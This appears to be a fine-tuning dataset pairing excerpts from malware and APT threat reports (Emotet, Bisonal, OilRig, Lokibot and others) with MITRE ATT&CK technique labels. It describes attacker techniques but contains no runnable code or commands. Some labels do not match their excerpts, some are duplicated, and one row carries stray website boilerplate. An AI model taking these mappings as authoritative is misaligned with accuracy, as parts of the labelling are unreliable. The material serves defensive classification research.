"They routinely used standard tools that would mimic legitimate administrator activities. They relied on encrypted SSH-based tunnels to transfer tools and for remote command/program execution. They routinely deleted dropped attack tools, execution logs, files staged for exfiltration, and other files after they were finished with them. They renamed their tools' filenames in the staging folder so that it would not be possible to identify the malware's purpose, even after it was deleted from the disk through the residual artifacts (e.g. ShimCache entries or WMI Recently Used Apps). - They used timestomping to modify the $STANDARD_INFORMATION attribute of the attack tools",['T1021.004 - Remote Services: SSH'],fine_tune
"Consistent with the perceived goal of credential harvesting, the threat actors dropped and executed open source and free tools such as Hydra, SecretsDump, and CrackMapExec. Forensic analysis indicates that many of these tools were executed during the timeframe in which the actor was accessing the system",['T1110.002 - Brute Force: Password Cracking'],fine_tune
"The files are extracted to a newly created folder with a randomized name under the same path, and the zip file is then deleted. The “AJWrDz.exe” executable path is written to the registry Run key “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run” to achieve persistency",['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
"KillDisk’s infection chain . How is it dropped in the system. This KillDisk variant looks like it is intentionally dropped by another process/attacker. The new KillDisk variant’s parameter to shut down the affected machine . KillDisk also has a self-destruct process, although it isn’t really deleting itself. Code snippets showing how KillDisk overwrites then deletes files . How does it wipe the disk. It reads the Master Boot Record (MBR) of every device it successfully opens and proceeds to overwrite the first 0x20 sectors of the device with “0x00”. It uses the information from the MBR to do further damage to the partitions it lists. KillDisk has a numeric parameter that denotes the number of minutes (15 being the default) it will wait before it shuts down the affected machine. To try to reboot the machine, it will try to terminate these processes: This is done most likely to force a reboot or dupe the user into restarting the machine. Additionally, the website utilizes an AI-based application that runs in the background and optimizes its accessibility level constantly. Vision Impaired Profile: this profile adjusts the website so that it is accessible to the majority of visual impairments such as Degrading Eyesight, Tunnel Vision, Cataract, Glaucoma, and others. Accept Cancel Continue Processing the data, please give it a few seconds",['T1134 - Access Token Manipulation'],fine_tune
"Bisonal used multiple lure documents to entice their victims to open and then be infected with Bisonal malware. Finally, in 2018, Ahnlab released a paper about ""Operation Bitter Biscuit"" where Bisonal was used against Korean and Japanese entities. This is an application document that has been used to provide a decoy to the Bisonal malware. The attacker also implemented a new order: execution of a command by using named pipe to get the output of the executed command. This mechanism allows the malware to execute API functions without ever using the Call instruction, making it difficult to perform the analysis. So that it ensures the thread has a chance to run, it will return the API call sleep() no matter what was originally requested. Office Extension . In 2019, the actor behind Bisonal used a new way to deploy the machine on the target's systems. The purpose of the malware is to deploy Bisonal on the infected system ($tmp$\tmplogon.exe) and to create a Run registry key in order to execute Bisonal at the next reboot of the system. The attacker implements indirect API calls by using GetProcAddress() and LoadLibrary() API. Even if Bisonal could be considered as simple with less than 30 functions, it has spent its life targeting sensitive entities in both the public and private sectors",['T1082 - System Information Discovery'],fine_tune
"NetPass.exe: a legitimate utility developed by NirSoft that recovers all network passwords stored on a system for the current logged-on user. This tool can also recover passwords stored in the credentials file of external drives. WebBrowserPassView: a password recovery tool that captures passwords stored by Internet Explorer, Mozilla Firefox, Google Chrome, Safari, and Opera and passes them to the credential enumerator module. Mail PassView: a password recovery tool that reveals passwords and account details for various email clients such as Microsoft Outlook, Windows Mail, Mozilla Thunderbird, Hotmail, Yahoo. Mail, and Gmail and passes them to the credential enumerator module. Once an available system is found, Emotet then writes the service component on the system, which writes Emotet onto the disk",['T1552.001 - Unsecured Credentials: Credentials In Files'],fine_tune
"The shellcode invokes PowerShell to issue a HTTP GET request for a random four (4) character URI on the root of autodiscovery[.]2bunny[.]com. The requests contain minimal HTTP headers since the PowerShell command is executed with mostly default parameters. Figure 5 depicts an HTTP GET request generated by the payload, with minimal HTTP headers",['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
"The biggest change is the network communication with the C2 server. The malware does not use a raw socket anymore but all the communications are performed with WinInet. The malware performs connection to the C2 server by using InternetOpenA() with an hardcoded User-Agent: ""Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322"". Note the missing parenthesis at the end of the User-Agent. This variant has exactly the same features as the previous variant: file listing, OS version getting, process killing, drive listing, execution via ShellExecuteW(), execution via named pipe, cleaning, file removal, file downloading. On the left a sample from Bisonal 2014 and on the right Bisonal 2011",['T1095 - Non-Application Layer Protocol'],fine_tune
We have seen Grandoreiro use DGA functions to generate a connection to a Google Sites page storing C2 information,['T1102.001 - Dead Drop Resolver'],fine_tune
"When the .lnk file is initialized, it spawns a CMD process. This process executes a command to maliciously use the legitimate wmic.exe to initialize an XSL Script Processing (MITRE Technique T1220) attack. The attack executes embedded JScript or VBScript in an XSL stylesheet located on a remote domain (qnccmvbrh.wilstonbrwsaq[.]pw",['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
"Due to its complex infection process that relies in part on registry updates with malware code, Valak can easily infect an unprotected Windows host. With ADS used to hide follow-up malware from a Valak infection, the risk is greatly increased",['T1012 - Query Registry'],fine_tune
"SchTasks.exe performs operations similar to those in Scheduled Tasks in Control Panel. You can use either tool to create, delete, configure, or display scheduled tasks. The user must be a member of the Administrators group on the computer that the command affects. To verify that a scheduled task ran or to find out why a scheduled task did not run, see the Task Scheduler service transaction log, Systemroot\SchedLgU.txt. This log records attempted runs initiated by all tools that use the service, including Scheduled Tasks and SchTasks.exe. On rare occasions, task files become corrupted. Corrupted tasks do not run. When you try to perform an operation on corrupted tasks, SchTasks.exe displays the following error message: ERROR: The data is invalid. You cannot recover corrupted tasks. To restore the task scheduling features of the system, use SchTasks.exe or Scheduled Tasks to delete the tasks from the system and reschedule them",['T1053.005 - Scheduled Task/Job: Scheduled Task'],fine_tune
"The OilRig group remains highly active in their attack campaigns while they continue to evolve their toolset. On January 8, 2018, Unit 42 observed the OilRig threat group carry out an attack on an insurance agency based in the Middle East. The January 8 attack used a variant of the ThreeDollars delivery document, which we identified as part of the OilRig toolset based on attacks that occurred in August 2017. Instead, this attack involved delivering the OopsIE Trojan directly to the victim, most likely using a link in a spear phishing email. Interestingly, the targeted organization in the January 16 attack had already been targeted by the OilRig group a year ago on January 2017. A New Attack On January 8, 2018, the OilRig threat group sent an email with the subject Beirut Insurance Seminar Invitation to an insurance agency in the Middle East. The OilRig group sent two emails to two different email addresses at the same organization within a six minutes time span. The email contained an attachment named Seminar-Invitation.doc, which is a malicious Microsoft Word document we track as ThreeDollars. In this case, the ThreeDollars delivery document was not used and instead an attempt was made to deliver the OopsIE Trojan directly to the targeted organization, likely via a link within an email. As we have observed throughout our tracking of the OilRig group, adopting proven tactics has been a common behavior over time",['T1566.002 - Phishing: Spearphishing Link'],fine_tune
SMOKEDHAM created a persistence mechanism for NGROK by adding VirtualHost.vbs to the WindNT value under the current users Run registry key,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
The third campaign deployed a different custom RPC backdoor to that used in the second campaign. This backdoor used code derived from the publicly available PowerShellRunner tool to execute PowerShell scripts without using powershell.exe. This was probably done to avoid them being written to the file system,"['T1016 - System Network Configuration Discovery', 'T1570 - Lateral Tool Transfer']",fine_tune
"Talos has identified two different infection vectors associated with this particular campaign. In order to compromise their victims, the threat actors sent the trojanized Microsoft Word documents, probably via email. The first vector relies on a trojanized document that fetches a remote template and then uses a known exploit. The second vector is a trojanized Word document that prompts the victim to enable macros and run a Visual Basic script. Once the luncher.doc was downloaded, it used CVE-2017-11882, to execute code on the victim's machine",['T1566.001 - Phishing: Spearphishing Attachment'],fine_tune
The usage of VMProtected binaries is another very common TTP that we’ve observed this group leverage in multiple intrusions in order to delay analysis of other tools in their toolkit,['T1027 - Obfuscated Files or Information'],fine_tune
"This script is meant to delete the Pony Loader after execution (works in a loop, in order to wait for the sample to terminate). The same can be found in Pony 1.9 code","['T1059.003 - Command and Scripting Interpreter: Windows Command Shell', 'T1070.004 - Indicator Removal on Host: File Deletion']",fine_tune
"Recently, a newer version was found in-the-wild, abusing NTFS Alternate Data Streams (ADS) in order to store the content of malicious payloads downloaded during execution. The main vector used by the group is sending malicious files in compressed format, attached to email. File types vary from VBS to LNK; the most recent campaign started to attach an HTML file which executes Javascript for downloading a malicious file","['T1204.002 - User Execution: Malicious File', 'T1059.005 - Command and Scripting Interpreter: Visual Basic', 'T1564.004 - Hide Artifacts: NTFS File Attributes']",fine_tune
An appetite for stolen code-signing certificates Suckfly has a number of hacktools and malware varieties at its disposal. Figure 1 identifies the malware and tools based on functionality and the number of signed files with unique hashes associated with them,['T1553.002 - Code Signing'],fine_tune
"In recent weeks, TA551 has changed traffic patterns. 19, 2020, URLs generated by Word macros to retrieve installer binaries followed a noticeable pattern",['T1105 - Ingress Tool Transfer'],fine_tune
"The attack starts with a malicious XLS attachment, sent in a phishing email, containing an obfuscated macro that downloads a heavily packed second-stage downloader. The second stage fetches the encrypted third-stage, which includes three layered encrypted Lokibot. After a privilege escalation, the third stage deploys Lokibot",['T1566.001 - Phishing: Spearphishing Attachment'],fine_tune
"Naming conventions designed to blend into normal operations (e.g. amsc.exe, msvsvr.dll, alg.exe) - Dropping implants in folders named for legitimate software (e.g","['T1036.004 - Masquerading: Masquerade Task or Service', 'T1036.005 - Masquerading: Match Legitimate Name or Location', 'T1036.004 - Masquerading: Masquerade Task or Service']",fine_tune
"The password-protected ZIP attachments contain a Microsoft Word document with macros to install malware. See Appendix A for examples of these Word documents from June 2020. Prior to April 2020, the most common malware caused by Word documents associated with Shathak/TA551 was Ursnif. Since April 2020, the most common malware distributed by these Word documents has been Valak. Appendix C lists a series of Valak DLL examples from June 2020",['T1204.002 - User Execution: Malicious File'],fine_tune
The first lateral movement occurred to the domain controller not affected by the use of CVE-2020-1472. An executable was transferred to it via SMB using a domain administrator account,['T1569.002 - System Services: Service Execution'],fine_tune
It is worth noting at this point that the C2 IP address associated with the cosecman[]com domain appeared to selectively block one of our exit IPs during our research,['T1016 - System Network Configuration Discovery'],fine_tune
The tools uploaded to the webshells range from legitimate applications such as cURL to post-exploitation tools such as Mimikatz. We also observed the actors uploading custom backdoors such as HyperBro which is commonly associated with Emissary Panda,"['T1588.002 - Tool', 'T1027 - Obfuscated Files or Information', 'T1046 - Network Service Discovery']",fine_tune
"It is classified by NTT as a variant of the infamous TrickBot malware, which uses DNS tunneling to stealthily communicate with C2 servers. Though this variant was first discovered in October 2019, there is evidence that Anchor_DNS was used as far back as March 2019",['T1071.004 - Application Layer Protocol: DNS'],fine_tune
Cisco Talos has observed another malware campaign that utilizes malicious Microsoft Office documents (maldocs) to spread the remote access trojan (RAT) ObliqueRAT. This campaign targets organizations in South Asia. ObliqueRAT has been linked to the Transparent Tribe APT group in the past. This campaign hides the ObliqueRAT payload in seemingly benign image files hosted on compromised websites,"['T1204.001 - Malicious Link', 'T1204.002 - User Execution: Malicious File']",fine_tune
"This is used to maintain access to a Meterpreter session. It is saved to C:\Users\&lt;username&gt;\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\msupdateconf.exe, granting the executable persistence. Another custom executable used to execute PowerShell scripts. The Mosquito JScript backdoor that uses Google Apps Script as its C&amp;C server. Privilege escalation using the Metasploit module ext_server_priv.x86.dll [8",['T1102.002 - Bidirectional Communication'],fine_tune
"REvil sends the encrypted stat data containing the host profile and malware information to the C2 URL via the HTTP POST method. Detection of the associated network traffic is challenging because REvil uses the HTTPS protocol, which encrypts the network communication. The malware reads the subsequent C2 server response but implements no logic to act on the received data. Finally, REvil terminates execution",['T1041 - Exfiltration Over C2 Channel'],fine_tune
"It will then jump to code that decrypts the Lokibot executable using decryption keys from the configuration structure. The first two layers are decrypted using `DecryptionKeyA` and `DecryptionKeyB`, and reverses all the data. After that, the final layer is decrypted using the same decryption method used to decrypt resource data at the start of the third stage.The DLL contains multiple ways to execute a PE file. The shellcode will create a suspended process using the third parameter as a command line command and injects Lokibot into it using process hollowing",['T1055.012 - Process Injection: Process Hollowing'],fine_tune
"DEATHRANSOM is written in C while the other two families are written in C++. DEATHRANSOM uses a distinct series of do/while loops to enumerate through network resources, logical drives, and directories",['T1082 - System Information Discovery'],fine_tune
"Taking advantage of the unprotected open Docker API port, the attackers are able to instantiate an Ubuntu container with the following entry point",['T1609 - Kubernetes Exec Into Container'],fine_tune
"1) NetPass.exe is a legitimate utility developed by NirSoft that recovers all network passwords stored on a system for the current logged-on user. This tool can also recover passwords stored in the credentials file of external drives. 3) WebBrowserPassView is a password recovery tool that captures passwords stored by Internet Explorer, Mozilla Firefox, Google Chrome, Safari, and Opera and passes them to the credential enumerator module. 4) Mail PassView is a password recovery tool that reveals passwords and account details for various email clients such as Microsoft Outlook, Windows Mail, Mozilla Thunderbird, Hotmail, Yahoo. Mail, and Gmail and passes them to the credential enumerator module. Once an available system is found, Emotet writes the service component on the system, which writes Emotet onto the disk. Emotet’s access to SMB can result in the infection of entire domains (servers and clients",['T1552.001 - Unsecured Credentials: Credentials In Files'],fine_tune
"Collect information about each disk, including directory and file lists, disk names, total space, and remaining space",['T1082 - System Information Discovery'],fine_tune
"For the first time, the ROKRAT sample used during the ""North Korean Human Rights"" contained a browser credentials stealer. For Chrome and Firefox, the malware queries the sqlite database containing the URL, username and password: Additionally, they support the Microsoft Vault mechanism. Vault was implemented in Windows 7, it contains any sensitive data (like the credentials) of Internet Explorer. Here is the initialization of the Vault APIs: On the left, we have the ROKRAT sample and on the right the FreeMilk sample",['T1555.004 - Credentials from Password Stores: Windows Credential Manager'],fine_tune
"This exception invokes the exception handler containing the HTTP communication code, allowing it to run. If either attempt is successful, the C2 server will respond with the session ID and a pre-shared key in cleartext, which it will save to the previously mentioned registry key. The C2 server will provide the pre-shared key within the response data and will provide the session ID value via the Set-Cookie field within the response, specifically the string after the PHPSESSID parameter of the cookie. If both attempts fail and the payload is unable to obtain a session ID and pre-shared key via HTTP or HTTPS, it will try to use DNS tunneling. random number between 100000 and 999999&gt;.&lt;c2 name&gt; This request notifies the C2 server that the payload is about to send system specific data as part of the initial handshake. The script will first attempt to communicate with the C2 server using HTTPS (HTTP if unsuccessful), which involves GET requests using the session ID within the request's cookie in the PHPSESSID field, as seen in the example GET request",['T1027 - Obfuscated Files or Information'],fine_tune
"Cobalt Strike appears to be one of BRONZE PRESIDENT's preferred remote access tools. During one intrusion, the threat actors installed it on over 70% of accessible hosts. The group's Cobalt Strike installation typically uses a payload named svchost.exe in an attempt to disguise Cobalt Strike activity as the legitimate Windows svchost.exe executable. BRONZE PRESIDENT installs PlugX using DLL side-loading. In June and August 2019, BRONZE PRESIDENT delivered PlugX via government and law enforcement-themed phishing lures. RCSession — This basic RAT is installed via DLL side-loading, and CTU researchers observed BRONZE PRESIDENT installing it on multiple hosts during intrusions. RCSession was extracted from a file called English.rtf and launched via a hollowed svchost.exe process. RCSession connects to its C2 server via a custom protocol, can remotely execute commands, and can launch additional tools. CTU researchers have no evidence of other threat actors using RCSession or of wide proliferation of the tool, suggesting it may be exclusively used by BRONZE PRESIDENT. Nbtscan being used via RCSession to scan an internal IP range",['T1574.002 - Hijack Execution Flow: DLL Side-Loading'],fine_tune
"Let's use the example data 8,54351-1616479009,0 from a beacon sent from the payload to the C2, which it will encode using base64 to OCw1NDM1MS0xNjE2NDc5MDA5LDA=, append the @ symbol and embed within a BMP image. The 8-bits of this base2 representation are then used to set specific bits within the 3-bytes for each pixel",['T1027.003 - Steganography'],fine_tune
"After all of the data is gathered, the malware starts communication with the C&amp;C server by periodically sending HTTP POST requests to the following URL on the received domain",['T1041 - Exfiltration Over C2 Channel'],fine_tune
"CTU researchers observed WCry variants demanding Bitcoin payments equivalent to $300 and $600. The Bitcoin address is provided in the c.wnry configuration file and can vary across samples. If no configuration file is present, the malware uses a hard-coded Bitcoin address. CTU researchers have identified the following Bitcoin addresses associated with the WCry ransomware",['T1486 - Data Encrypted for Impact'],fine_tune
"The first evidence of its intrusion dated from May 6, 2015 but activity appeared to have begun in earnest on May 12. The attackers appeared to be interested in one division of the ministry that is responsible for relations with the Asia-Pacific region. They attempted to extract all Word documents stored on a file server belonging to this division by bundling them into a RAR archive by running the following command","['T1039 - Data from Network Shared Drive', 'T1083 - File and Directory Discovery']",fine_tune
"Talos has discovered an unknown Remote Administration Tool that we believe has been in use for over 3 years. During this time it has managed to avoid scrutiny by the security community. The current version of the malware allows the operator to steal files, keystrokes, perform screenshots, and execute arbitrary code on the infected host. Talos has named this malware KONNI. Throughout the multiple campaigns observed over the last 3 years, the actor has used an email attachment as the initial infection vector. They then use additional social engineering to prompt the target to open a .scr file, display a decoy document to the users, and finally execute the malware on the victim's machine. The malware has evolved over time",['T1082 - System Information Discovery'],fine_tune
"While historically TA416 has delivered Zip files from cloud hosting providers containing a decoy file, legitimate PE file, a DLL loader, and a PlugX malware configuration DAT file, recent campaigns used a different tactic. Proofpoint researchers noted that the malicious Zip files delivered from DropBox now contain a rudimentary executable which is a dropper malware. This malware establishes persistence for a legitimate executable file used in DLL search order hijacking, as well as initiates the download of four components. These components are included below and resemble the components used in the past to install PlugX malware. Public research has previously documented TA416’s propensity for including PlugX Trident Loader components and decoy in the initial delivered Zip file. The method of installing PlugX via DLL Search Order hijacking that displays a PDF decoy remains constant",['T1105 - Ingress Tool Transfer'],fine_tune
"uid= and writes a JSS Loader binary to %TEMP%\PaintHelper.exe. JSS Loader, which has both .NET and C++ versions, has multiple capabilities, including the ability to load additional executables, PowerShell (PS) and JavaScript (JS) files","['T1059.007 - Command and Scripting Interpreter: JavaScript', 'T1105 - Ingress Tool Transfer', 'T1059.001 - Command and Scripting Interpreter: PowerShell']",fine_tune
"The actor behind Bisonal is clearly motivated and has an interest in Russian, Korean and Japanese victims. The development of Bisonal has been active for more than a decade. However, specific functions are still used today, many years after the original implementation of the Bional malware. Even if Bisonal could be considered as simple with less than 30 functions, it has spent its life targeting sensitive entities in both the public and private sectors. For example, in one campaign they put the domain name of the C2 server in plaintext in the malware which had the function to generate a non-ASCII string for the C2 servers once decoded. In this condition, the malware cannot work on the compromised system. With this investigation and the analysis of this decade of activity, we hope to force this actor to innovate by providing a better understanding of his arsenal and more specifically how Bisonal works",['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
Figure 5: Registry Activity The script then determines the version of Powershell that is being used on the infected system. This is essentially the WMI equivalent of a registry-based run key from a persistence perspective. The Stage 3 malware is by default set to run 'onidle' after 30 minutes,['T1012 - Query Registry'],fine_tune
"TA505 briefly distributed the Kegotip information stealer in April 2017. Across two campaigns of several million messages each, the actor used both macro-laden Microsoft Word documents and zipped VBScript attachments to install the Trojan on potential victim PCs. Kegotip is an infostealer (credentials and email addresses) used to facilitate other crimeware activities. It steals credentials from various FTP clients, Outlook, and Internet Explorer. It also will gather email addresses scraped from files stored on the computer. This information can be used to facilitate future spam campaigns by the perpetrator or may be sold to other actors","['T1555.003 - Credentials from Password Stores: Credentials from Web Browsers', 'T1552.001 - Unsecured Credentials: Credentials In Files']",fine_tune
"Note: see the appendix for a list of the domains, file names, and malware MD5 hash values used to facilitate this activity",['T1027.003 - Steganography'],fine_tune
"Register as a startup program in HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run if it has no privileged (Figure 6). Otherwise, it will register itself as a system service (Figure 7",['T1543.003 - Create or Modify System Process: Windows Service'],fine_tune
"The two resources that contain commands that ISMInjector uses for persistence are named “Tsk1” and “Tsk2”. The specific commands within each of these resources are within Table 1. At a high level, the“Tsk1” command creates a scheduled task named “ReportHealth” that is meant to run a payload saved to ""%localappdata%\srvHealth.exe” every 4 minutes. The “Tsk2” command creates a scheduled task that runs every 2 minutes that is responsible for saving the payload to srvHealth.exe. This task saves the payload to this location using the “certutil” command to decode the original payload saved to “srvBS.txt","['T1053.005 - Scheduled Task/Job: Scheduled Task', 'T1140 - Deobfuscate/Decode Files or Information']",fine_tune
"Stage2.exe is a downloader for a malicious file corrupter malware. Upon execution, stage2.exe downloads the next-stage malware hosted on a Discord channel, with the download link hardcoded in the downloader. The next-stage malware can best be described as a malicious file corrupter",['T1105 - Ingress Tool Transfer'],fine_tune
"PLEAD also dabbled with a short-lived, fileless version of their malware when it obtained an exploit for a Flash vulnerability (CVE-2015-5119) that was leaked during the Hacking Team breach",['T1203 - Exploitation for Client Execution'],fine_tune
This technique to hijack control flow has also been used by other sophisticated attackers such as FinFisher. Lazarus has also used other novel methods to execute shellcode such as by using the function EnumSystemLocalesA as a callback to shellcode written to executable heap,"['T1027 - Obfuscated Files or Information', 'T1106 - Native API']",fine_tune
"APT34 uses a mix of public and non-public tools, often conducting spear phishing operations using compromised accounts, sometimes coupled with social engineering tactics. In May 2016, we published a blog detailing a spear phishing campaign targeting banks in the Middle East region that used macro-enabled attachments to distribute POWBAT malware. The backdoor was delivered via a malicious .rtf file that exploited CVE-2017-0199","['T1059.003 - Command and Scripting Interpreter: Windows Command Shell', 'T1059.003 - Command and Scripting Interpreter: Windows Command Shell']",fine_tune
"The Cannon Trojan is written in C# and functions primarily as a downloader that relies on emails to communicate between the Trojan and the C2 server. To communicate with the C2 server, the Trojan will send emails to specific email addresses via SMTPS over TCP port 587",['T1041 - Exfiltration Over C2 Channel'],fine_tune
"The encryption style does not differ significantly from other prominent ransomware families. WastedLocker will attempt to encrypt files on local as well as remote (network adjacent and accessible) and removable drives. Once the eligible drives are located, the ransomware will begin the encryption process",['T1120 - Peripheral Device Discovery'],fine_tune
It implements a simple custom-built virtual machine mechanism that will execute an embedded bytecode to decode and inject the payload into memory,['T1027.002 - Obfuscated Files or Information: Software Packing'],fine_tune
The macro then creates a scheduled task named SecurityAssist that runs after waiting one minute. OopsIE Trojan Analysis The OopsIE Trojan delivered in these attacks is packed with SmartAssembly and further obfuscated with ConfuserEx v1.0.0. The Trojan extracts and loads this embedded assembly by concatenating the contents of two resources named S1 and S2 and decompresses the resulting data using the GZipSteam class,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
"Tonto Team is an APT group active since at least 2009 and targeting governments and institutions mostly based in Russia, Japan and Mongolia. For more than ten years, Tonto Team has been using the Bisonal RAT. Tonto Team is one of the APT groups that now has access to the ShadowPad backdoor","['T1059.001 - Command and Scripting Interpreter: PowerShell', 'T1505.003 - Server Software Component: Web Shell', 'T1105 - Ingress Tool Transfer']",fine_tune
"The Bazar loader files are dual-extension executable files (such as PreviewReport.DOC.exe) signed with fake certificates such as VB CORPORATE PTY. This is consistent with the Trickbot group, which notoriously abuses the trust of certificate authorities by using signed loaders and malware to evade security product detection",['T1036.007 - Masquerading: Double File Extension'],fine_tune
"To operate and evade standard analysis tools, most of the functions are hashed. The hashing algorithm has a high degree of similarity to the previous ShellTea version, with a slight modification of the seeds and constants. In this version, the attacker also utilizes functions from ole32 for stream processing",['T1027 - Obfuscated Files or Information'],fine_tune
"While the URI string has changed from Trickbot and Anchor variants, the phishing tactics and use of post-infection reconnaissance commands remains the same. In the Bazar backdoor, the tag (or gtag) used to identify Trickbot campaigns is removed from C2 URIs. It may have been moved to the cookie HTTP header parameter",['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
"Later in the execution chain, the SeLoadDriverPrivilege is used to load the extracted driver. Then one of the four drivers is dropped, after which the Volume Shadow Copy (VSS) service – which allows backups to be performed – is stopped",['T1490 - Inhibit System Recovery'],fine_tune
"In addition to loading the communications module, the initial macro described above configures a persistence mechanism for this malware loader by setting up a Registry Run key. The non-concatenated command included in the macro that establishes persistence for Libcurl.dll and the hash for this sample are included below",['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
"As part of the exploitation process, the above value will be written to the registry under the %windir% variable, and deleted after execution",['T1112 - Modify Registry'],fine_tune
"The document contains an encoded Visual Basic Script (VBScript) typical of previous Carbanak malware. Recent samples of the malware have now included the ability to use Google services for command-and-control (C&amp;C) communication. The module is base64 encoded inside the main VBScript file along with various other VBScript modules used by the malware. When we analyzed the script we noticed that it is capable of using Google services as a C&amp;C channel. Abusing Google for C&amp;C communication . The ""ggldr"" script will send and receive commands to and from Google Apps Script, Google Sheets, and Google Forms services. It is unlikely that these hosted Google services are blocked by default in an organization, so it is more likely that the attacker will establish a C&amp;C channel successfully. Upon the first attempt to contact the hard-coded Google Apps Script URL with the user's unique infection ID, the C&amp;C will state that no spreadsheet currently exists for the user. The malware will then send two requests to another hard-coded Google Forms URL which will result in the creation of unique Google Sheets spreadsheet and Google Form IDs for the victim. The second time the Google Apps Script is requested, the C&amp;C will return the unique Google Sheet and Google Form ID values: The ""entry"" value is also a unique ID which is sent with each subsequent Google Forms C&amp;C request. Using Google as an independent C&amp;C channel is likely to be more successful than using newly created domains or domains with no reputation",['T1102.002 - Bidirectional Communication'],fine_tune
"Operation North Star C2 infrastructure consisted of compromised domains in Italy and other countries. Compromised domains belonged, for example, to an apparel company, an auction house and printing company. These URLs hosted malicious DOTM files, including a malicious ASP page",['T1608.001 - Upload Malware'],fine_tune
The installer looks legitimate and has a valid digital signature from Sectigo (Obtain Capabilities: Digital Certificates [T1588.004]). The signature was signed with a code signing certificate purchased by the same user as the SSL certificate for jmttrading[.]org (Obtain Capabilities: Code Signing Certificates [T1588.003]). The MSI Installer asks the victim for administrative privileges to run (User Execution: Malicious File [T1204.002,['T1588.004 - Digital Certificates'],fine_tune
"These platforms are used to exfiltrate documents and receive instructions. Here is a list of the platforms used by this variant: Twitter, Yandex and Mediafire. The tokens for each platform are hardcoded within the sample",['T1102.002 - Bidirectional Communication'],fine_tune
"Taken together, the VirusTotal submissions of the samples, the samples themselves, the ZIP containing the samples (observed as a dissemination mechanism via email attachment), as well as the RAR container (seen later in this report under the Analysis section) form a timeline beginning on 12 November",['T1566.001 - Phishing: Spearphishing Attachment'],fine_tune
"HAWKBALL is a backdoor that attackers can use to collect information from the victim, as well as to deliver payloads. HAWKBALL is capable of surveying the host, creating a named pipe to execute native Windows commands, terminating processes, creating, deleting and uploading files, searching for files, and enumerating drives",['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
"The malware proceeds to check to see if the original dropped malware file exists. In the event it does, Reaver will move this file to ‘%TEMP%\~FJIOW.tmp’ and delete this new file. This simply acts as cleanup to ensure original file artifacts no longer reside on the infected machine. Reaver will then install itself as a service in the event it is running with SeDebugPrivilege privileges. Reaver continues to collect various information from the victim machine, including the following",['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
The malware sample contains some interesting static artifacts including self-signed digital certificates used to sign the executable purporting to be software from the Foxit Software Incorporated company based in California,"['T1553.002 - Code Signing', 'T1553.002 - Code Signing']",fine_tune
The two-stage malware overwrites the Master Boot Record (MBR) on victim systems with a ransom note (Stage 1). The MBR is the part of a hard drive that tells the computer how to load its operating system,['T1561.002 - Disk Structure Wipe'],fine_tune
"Several files are created by Carbon to keep logs, tasks to execute and configuration that will modify the malware’s behavior",['T1053.005 - Scheduled Task/Job: Scheduled Task'],fine_tune
"The Distributed Transaction Coordinator (DTC) service coordinates transactions that update two or more transaction-protected resources, such as databases, message queues, files systems, and so on. These transaction-protected resources may be on a single computer or distributed across many networked computers","['T1036.005 - Masquerading: Match Legitimate Name or Location', 'T1036.005 - Masquerading: Match Legitimate Name or Location', 'T1036.005 - Masquerading: Match Legitimate Name or Location']",fine_tune
"Seedworm then uses open-source tools such as LaZagne and Crackmapexec to obtain Windows authorization credentials. Seedworm uses off-the-shelf, unmodified versions of these tools as well as custom-compiled variants which we have determined are only used by this group","['T1552.001 - Unsecured Credentials: Credentials In Files', 'T1555.003 - Credentials from Password Stores: Credentials from Web Browsers']",fine_tune
"Initial access via a phishing email that linked to a google docs page that enticed the user to download a report, which was a Bazar Loader executable file instead Report-Review20-10.exe",['T1566.002 - Phishing: Spearphishing Link'],fine_tune
"Stage2.exe is a downloader for a malicious file corrupter malware. Upon execution, stage2.exe downloads the next-stage malware hosted on a Discord channel, with the download link hardcoded in the downloader. Once executed in memory, the corrupter locates files in certain directories on the system with one of the following hardcoded file extensions",['T1102 - Web Service'],fine_tune
"The encrypted request includes a PC identifier and timestamp, and optionally some other data. It is worth noting that the RC2FM module uses a number of encryption methods (variations of a simple XOR encryption routine), unlike the other InvisiMole parts",['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
"In these cases, the temporary file is written to the %TEMP% directory, and the filename is a combination of numbers generated from a call to GetTickCount and the '.dat' extension (e.g",['T1218.011 - Signed Binary Proxy Execution: Rundll32'],fine_tune
"In the past, this APT has relied on Hangul Office documents (hwp files) to target victims, as it’s software that’s commonly used in South Korea. However, in this blog we describe an interesting alternative method, delivered via self-decoding VBA Office files",['T1566.001 - Phishing: Spearphishing Attachment'],fine_tune
"Post-compromise, APT39 leverages custom backdoors such as SEAWEED, CACHEMONEY, and a unique variant of POWBAT to establish a foothold in a target environment. Internal reconnaissance has been performed using custom scripts and both freely available and custom tools such as the port scanner, BLUETORCH","['T1059 - Command and Scripting Interpreter', 'T1046 - Network Service Discovery']",fine_tune
Snippets of HOLMIUM PowerShell backdoor (POWERTON) implementing two different persistence mechanisms: WMI event subscription (T1084) and Registry run keys or Startup folder (T1060,"['T1546.003 - Event Triggered Execution: Windows Management Instrumentation Event Subscription', 'T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder']",fine_tune
"1) Hunting for PDF files that are created with the same “DocumentID” management metadata field result in a set of files that have been used in email delivery against banking entities. 2) All of the PDF files embed a link based on a Google redirect, leading to the download of a Microsoft Office document file. 3) The Microsoft Office document files contain macros for code execution. Those macros match the characteristics of the builder that we have characterized","['T1204.002 - User Execution: Malicious File', 'T1204.001 - Malicious Link']",fine_tune
